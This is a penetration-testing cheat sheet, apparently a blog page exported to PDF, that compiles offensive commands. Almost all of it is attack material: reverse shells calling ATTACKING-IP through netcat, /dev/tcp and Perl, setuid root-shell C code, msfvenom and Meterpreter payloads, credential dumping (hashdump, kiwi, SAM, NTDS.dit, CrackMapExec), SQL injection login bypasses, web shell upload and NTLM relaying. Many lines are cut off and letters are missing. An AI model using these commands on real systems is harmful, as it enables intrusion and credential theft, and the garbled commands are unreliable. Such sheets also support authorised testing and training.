Pentesting Cheatsheet2
Pentesting Cheatsheet2
›
Pentesting Cheatsheet
In addition to my own contributions, this compilation is possible by other compiled
cheatsheets by g0tmilk, highon.co ee, and pentestmonkey, as well as a few others
listed at the bottom. It’s easiest to search via ctrl+F, as the Table of Contents isn’t
kept up to date fully.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SSH (22)
Pop3 (110)
RPCBind (111)
Oracle (1521)
Fingerprinting
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Exploit Research
Compiling Exploits
Packet Inspection
Password Cracking
Bruteforcing
TTY Shell
Netcat
PHP
Bash
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Perl
Meterpreter
Windows reverse meterpreter payload
Meterpreter Payloads
Binaries
Web Payloads
Scripting Payloads
Shellcode
Handlers
Powershell
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Privilege Escalation
Linux
Windows
Command Injection
File Traverse
Transfer le
Activate shell le
SQLInjections
Injections
SQLMap
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Miscellaneous
Tunneling
AV Bypass
Web hosts
Shellshock
Recon
Meterpreter Stu
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Proxy Chaining
Scripts
Pentest Checklist
Enumeration
General Enumeration:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap -v -sS -A -T4 x.x.x.x
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may
cause knockover
netdiscover -r 192.168.1.0/24
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap –script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-ba
SSH (22):
ssh INSERTIPADDRESS 22
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nc -nvv INSERTIPADDRESS 25
telnet INSERTIPADDRESS 25
dirbuster (GUI)
dirb http://10.0.0.1/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nikto –h 10.0.0.1
Pop3 (110):
USER [username]
PASS [password]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
To login
LIST
To list messages
Retrieve message
QUIT
quits
RPCBind (111):
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
rpcinfo –p x.x.x.x
enum4linux –a 10.0.0.1
nbtscan x.x.x.x
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.X
smbclient -L //INSERTIPADDRESS/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
snmpenum -t 192.168.1.X
Oracle (1521):
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-d
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Mounting File Share
showmount -e IPADDR
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no
Install smb4k on Kali, useful Linux GUI for browsing SMB shares
nc -v 192.168.1.1 25
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
telnet 192.168.1.1 25
Exploit Research
Search exploit-db for exploit, in this example windows 2003 + local esc
Compiling Exploits
Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code on 64 bit
Linux
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Compile windows .exe on Linux
Packet Inspection:
Password Cracking
hash-identi er [hash]
john hashes.txt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
hashcat -m 500 -a 0 -o output.txt –remove hashes.txt /usr/share/wordlists/rocky
Bruteforcing:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
hydra 10.0.0.1 http-post-form “/admin.php:target=auth&mode=login&user=^US
bin/bash:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
bin/sh:
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
TTY Shell:
echo os.system('/bin/bash')
/bin/sh –i
execute('/bin/sh')
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
LUA
!sh
:!bash
In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
In Attacker console
stty -a
stty raw -echo
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
fg
In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
exec "/bin/sh"
Netcat
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
PHP
Bash
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5
Perl
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
exec "/bin/sh";
Windows
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,ge
Windows
Meterpreter
Windows reverse meterpreter payload
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Meterpreter Windows VNC Payload
upload le c:\\windows
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
download c:\\windows\\repair\\sam /tmp
execute -f c:\\windows\temp\exploit.exe
execute -f cmd -c
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ps
shell
getsystem
hashdump
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
portfwd add –l 3389 –p 3389 –r target
use exploit/windows/local/bypassuac
use auxiliary/scanner/http/dir_scanner
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
use exploit/multi/script/web_delivery
post/windows/manage/powershell/exec_powershell
use exploit/multi/http/jboss_maindeployer
use exploit/windows/mssql/mssql_payload
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
run post/windows/gather/win_privs
use post/windows/gather/credentials/gpp
load kiwi
creds_all
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
run post/windows/gather/local_admin_search_enum
Idenitfy other machines that the supplied domain user has administrative
access to
Meterpreter Payloads
msfvenom –l
List options
Binaries
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.el
Web Payloads
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
PHP
Listener
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> sh
PHP
ASP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
JSP
WAR
Scripting Payloads
Python
Bash
Perl
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Shellcode
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Handlers
exploit/multi/handler set PAYLOAD set LHOST set LPORT set ExitOnSession false
An example is:
Powershell
Execution Bypass
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Set-ExecutionPolicy Unrestricted
./ le.ps1
Import-Module script.psm1
Invoke-FunctionThatIsIntheModule
Powershell.exe blocked
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Persistence
Gather NTDS.dit le
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Privilege Escalation
Linux:
Find Binaries that will execute as the owner
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nd / -perm -1000 -type d 2>/dev/null
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/pentestmonkey/unix-privesc-check
Windows:
https://github.com/pentestmonkey/windows-privesc-check
http://www.fuzzysecurity.com/tutorials/16.html
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Command Injection
File Traverse:
website.com/ le.php[?path=/]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
curl --upload- le shell.php --url http://192.168.218.139/test/shell.php --http1.0
; php -f lelocation.php;
SQLInjections
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Common Injections for Login Forms:
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—
SQLMap
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Targeted sqlmap scan
Capture a request via Burp Suite, save it to a le, and use this command to
let sqlmap automate everything. Add –os-shell at the end to pop a shell if
possible.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Miscellaneous
NTLMRelayx.py using mitm6
This will take captured credentials via IPv6 spoo ng using mitm6 and relay them to
a target via ntlmrelayx.py. It requires ntlmrelayx.py and mitm6 to be installed
already.
mitm6 -d <domain.local>
First, start mitm6 and specify the domain you’re spoo ng on with ‘-d
domain.name’
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Name your terminal whatever you want
This small script will name your terminal whatever you pass as an argument to it. It
helps organizing with multiple terminals open. Thanks Ben!
#!bin/bash
Tunneling:
sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid
of the need for proxy chains. What this command does is tunnels tra c through
10.0.0.1 and makes a route for all tra c destined for 10.10.10.0/24 through your
sshuttle tunnel.
AV Bypass:
Web hosts
python -m SimpleHTTPServer 80
Basic HTTP Server. Will list the directory it’s started in.
Netcat
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Target: nc -e /bin/bash listeneripaddress listenerport
Host: cat happy.txt | ncat -v -l -p 5555 Target: ncat localhost 5555 >
happy_copy.txt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Shellshock
CrackMapExec
crackmapexec smb 10.0.0.1/24 -u administrator -p 'password' --local-auth --sam
Spray the network with local login credentials then dump SAM contents
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Pass the hash network-wide, local login, dump LSA contents
https://toshellandback.com/2015/11/24/ms-priv-esc/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Recon
https://bitvijays.github.io/blog/2015/04/09/learning-from-the- eld-intelligence-
gathering/
https://highon.co ee/blog/cheat-sheet/
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
Meterpreter Stuff
http://netsec.ws/?p=331
Proxy Chaining
apt-get install sshuttle
https://github.com/sshuttle/sshuttle
https://github.com/ro 0r/proxychains-ng
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
https://www.o ensive-security.com/metasploit-unleashed/proxytunnels/
Scripts
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/azmatt/windowsEnum
https://github.com/leebaird/discover
https://nmap.org/nsedoc/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Pentest Checklist
http://mateustymbu.xpg.uol.com.br/Bibliography/Pentest_Checklist.pdf
Pentesting Work ow
https://work owy.com/s/FgBl.6qcAQUUqWM
http://www.securitysift.com/o sec-pwb-oscp/
https://netsecfocus.com/topic/32/oscp-like-vulnhub-vms
https://blog.propriacausa.dewp-content/uploads/2016/07/oscp_notes.html
https://localhost.exposed/path-to-oscp/
https://www.reddit.com/r/netsecstudents/comments/5i00w6/my_experience_with_
the_oscp/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
https://naterobb.blogspot.com/2017/02/my-experience-with-oscp-to-kick-o -
my.html
http://www.securitysift.com/o sec-pwb-oscp/
Share this:
Twitter Facebook
Like
Follow Me on Twitter
On Github
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD